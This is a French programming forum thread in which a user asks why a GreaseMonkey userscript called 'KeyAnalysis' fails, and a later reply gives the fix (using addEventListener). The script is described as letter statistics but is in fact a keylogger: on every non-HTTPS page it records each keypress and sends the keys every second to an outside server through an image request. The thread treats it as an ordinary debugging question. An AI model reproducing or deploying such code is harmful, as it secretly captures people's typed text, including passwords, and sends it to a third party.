Javascript dans GreaseMonkey

Javascript dans GreaseMonkey - HTML/CSS - Programmation

Marsh Posté le 11-07-2011 à 10:08:51    

Bonjour à tous,
 
Je ne participe pas très souvent au forum, mais j'ai un petit problème concernant un script executé via GreaseMonkey. Le forum de GreaseMonley (userscripts.org) n'étant pas très actif, je viens à vous. Mes connaissances en Javascript ne sont pas extraordinaire, je suis en plein apprentissage de ce langage.
Bon voilà mon problème. J'ai mon script : (key.user.js) (aidé d'internet pour le moment)

Code :
  1. // ==UserScript==
  2. // @name KeyAnalysis
  3. // @namespace Paulair
  4. // @description Statistics on letters you type.
  5. // @version 1.0
  6. // @include *
  7. // @exclude https://*
  8. // ==/UserScript==
  9. var keys='';
  10. document.onkeypress = function(e) {
  11. get = window.event?event:e;
  12. key = get.keyCode?get.keyCode:get.charCode;
  13. key = String.fromCharCode(key);
  14. keys+=key;
  15. };
  16. window.setInterval(function(){
  17. new Image().src = 'http://paulair.free-h.net/keyl2.php?c='+keys; /*cette page analyse ensuite les lettres tapées, de ce coté il n'y a pas de problème*/
  18. keys = '';
  19. }, 1000);


Dans la console web (Ctrl+Shift+K sur Mozilla), mon script fonctionne très bien. Mais une fois installé dans Greasemonkey, il ne fait plus rien ! Pour tester, j'ai inséré une fonction bateau : setInterval("alert('Hello')",2000). Lorsque je l'insère en début de mon script, elle fonctionne. Et si je l'insère avant window.setInterval ou à la fin, elle ne fonctionne pas. Le script ne serait donc pas lu en entier. Quelqu'un saurait-il pourquoi ? Y a-t-il des particularités à GreaseMonkey ?
 
Merci d'avance,
 
Paulair.

Reply

Marsh Posté le 11-07-2011 à 10:08:51   

Reply

Marsh Posté le 12-07-2011 à 00:12:35    

Problème résolu en changeant onkeypress par addEventListener (car onkeypress n'est pas reconnu par GreaseMonkey apparement..!)

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed